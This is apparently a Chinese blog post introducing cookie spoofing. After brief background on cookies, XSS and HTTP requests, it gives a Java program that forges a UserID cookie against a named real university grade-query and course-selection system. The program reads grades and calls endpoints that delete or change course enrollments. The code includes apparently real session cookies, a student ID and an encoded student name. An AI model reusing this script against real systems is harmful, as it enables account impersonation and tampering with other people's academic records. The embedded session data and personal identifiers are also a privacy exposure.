cookie欺骗初探

前一阵子在研究有关cookie欺骗的东西，今日得大神学长指点，找了一个练手的网站。

先普及一下基础知识

cookie欺骗      ：就是利用cookie来欺骗，攻击过程中对于cookie的利用在于，cookie注入和cookie欺骗。

其它方法          ：其他比较常用的还有xss，sql注入，旁注，什么的，这些先不提，多说一下这个跨站攻击其实叫做css，cross-site啥的，不过css这个简称已经被占用了，所以只能叫做xss了。

        cookie是个啥  ：cookie的作用主要在于，把用户的一些信息存在本地，来让浏览器提供更加制定化的服务。

重要的是不要用cookie来存储重要的数据，比如学号什么的，这样非常不安全，或者使用cookie加session共同验证地方法。

Post与Get方法：服务器通过get与post方法来接收浏览器提交的数据，get的参数附带在url后面，字符过滤不严格易产生sql注入漏洞，post参数在表单里。

在服务器这样读取，Request.QueryString(GET)  Request.Form(POST)  如果直接这样写Resquest("ID")服务器会先检查GET在检查POST和cookie

抓包工具           ：这次用一个叫做firebug的工具，是火狐的一个插件，有抓包功能，功能不错。安装过程可以在这找到http://jingyan.baidu.com/article/e9fb46e1b4ac3e7521f766c0.html

http请求结构 ：一个http请求分为三部分 Method-URL-Protocol, Request Header,Entity body 具体看这里http://wenku.baidu.com/view/ec1a90bdf121dd36a32d8245.html

关于post请求头的具体含义在这http://xuganggogo.iteye.com/blog/321621

执行cookie欺骗时，我们需要构造自己的请求信息头，其中包含篡改过的cookie，发送给浏览器。

言归正传，我们拿成绩查询这个版块试一下，点击查询成绩

firebug捕捉到的post请求如下,注意看Cookie中有UserID这一项，只需要修改它，其它不用管。

最后用java来实现一下我们的想法

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.URL;
import java.net.URLConnection;


public class PostCookie {
	private static void SetConn(URLConnection connection){
		connection.setRequestProperty("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); 
		connection.setRequestProperty("Accept-Encoding","gzip, deflate");
		connection.setRequestProperty("Accept-Language","zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3");
		connection.setRequestProperty("Connection","keep-alive");
		connection.setRequestProperty("Cookie","HitXueQi=2012%B4%BA%BC%BE; UserXueZhi=4; UserClass=1037102; UserType=studentLogin; UserZYBH=371; UserID=1103710215; ASPSESSIONIDQQRCTQSA=BKFPAMLDBIPKENPMPIGKGAKC; UserClass2=%2D; UserName=%CD%F5%D2%E2%C1%D6");
		connection.setRequestProperty("Host","xscj.hit.edu.cn");
		connection.setRequestProperty("Referer","http://xscj.hit.edu.cn/hitjwgl/xs/cjcx/cx.asp");
		connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0");		
		connection.setDoOutput(true);
		connection.setDoInput(true);
	}
	private static void GetExame(){
		try{
			URL url = new URL("http://xscj.hit.edu.cn/hitjwgl/xs/cjcx/cx_1.asp");
			URLConnection connection = url.openConnection();
			SetConn(connection);
			OutputStreamWriter out  = new OutputStreamWriter(connection.getOutputStream(),"8859_1");
			out.write("selectXQ=all&LB=1&Submit=%B2%E9%D1%AF%B3%C9%BC%A8");
			out.flush();
			out.close();
			InputStreamReader in = new InputStreamReader(connection.getInputStream());
			BufferedReader br = new BufferedReader(in);
			while (br.ready())
				System.out.println(br.readLine());
		}catch(Exception e){
			System.out.println(e.getMessage());
			System.out.print(e.getStackTrace());
		}
	}
	private static void Select(String url){
		try{
			URL jurl = new URL(url);
			URLConnection connection = jurl.openConnection();
			connection.setRequestProperty("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); 
			connection.setRequestProperty("Accept-Encoding","gzip, deflate");
			connection.setRequestProperty("Accept-Language","zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3");
			connection.setRequestProperty("Connection","keep-alive");
			connection.setRequestProperty("Cookie","HitXueQi=2012%B4%BA%BC%BE; UserXueZhi=4; UserClass=1037102; UserZYBH=371; UserID=1103710215; ASPSESSIONIDQQRCTQSA=BKFPAMLDBIPKENPMPIGKGAKC; UserClass2=%2D; UserName=%CD%F5%D2%E2%C1%D6; ASPSESSIONIDSQSASQSB=IMDFBDMDCGPGGPPPDGOMJLJN; ASPSESSIONIDSQSCRSSA=JHBNBKMDCAAGHBNHBONFNOCA; AdminType=; AdminPart=; AdminLevel=; AdminID=; xkjssj=2012%2D4%2D29; XKXQ=2012%C7%EF%BC%BE; ASPSESSIONIDSQSBQSSB=DJJDDBNDMLDIPFFLLOFHEGOE; UserType=studentLogin; ASPSESSIONIDQQSDQSTA=BEIOCINDPCBCFMMNCGNOOGEA");
			connection.setRequestProperty("Host","xscj.hit.edu.cn");
			connection.setRequestProperty("Referer","http://xscj.hit.edu.cn/hitjwgl/xs/cjcx/cx.asp");
			connection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0");		
			connection.setDoOutput(true);
			connection.setDoInput(true);
			InputStreamReader in = new InputStreamReader(connection.getInputStream());
			BufferedReader br = new BufferedReader(in);
			//while (br.ready())
				//System.out.println(br.readLine());
		}catch(Exception e){
			System.out.println(e.getMessage());
			System.out.print(e.getStackTrace());
		}
	}
	public static void main(String args[]){
		//Select("http://xscj.hit.edu.cn/hitjwgl/xs/kcxx/XK_XX_save.asp?xh=0447:0/559&YXFlag=1&XXYXZZYGX=0&isZZY=0&kch=/7W966/7%3C4&jsbm=8%3C==%3C88&xkid=54%3C=8&xf=2");
		//Select("http://xscj.hit.edu.cn/hitjwgl/xs/kcxx/XK_XX_1.asp?xssj=1&&isZZY=0&YXFlag=1&XXYXZZYGX=0");
		Select("http://xscj.hit.edu.cn/hitjwgl/xs/kcxx/XK_XX_del.asp?YXFlag=1&isZZY=0&XXYXZZYGX=0&xh=0447:0/559&kch=/7W966/7%3C4&xkid=54%3C=8");
		Select("http://xscj.hit.edu.cn/hitjwgl/xs/kcxx/XK_XX_1.asp?isZZY=0&YXFlag=1&XXYXZZYGX=0");
	}
}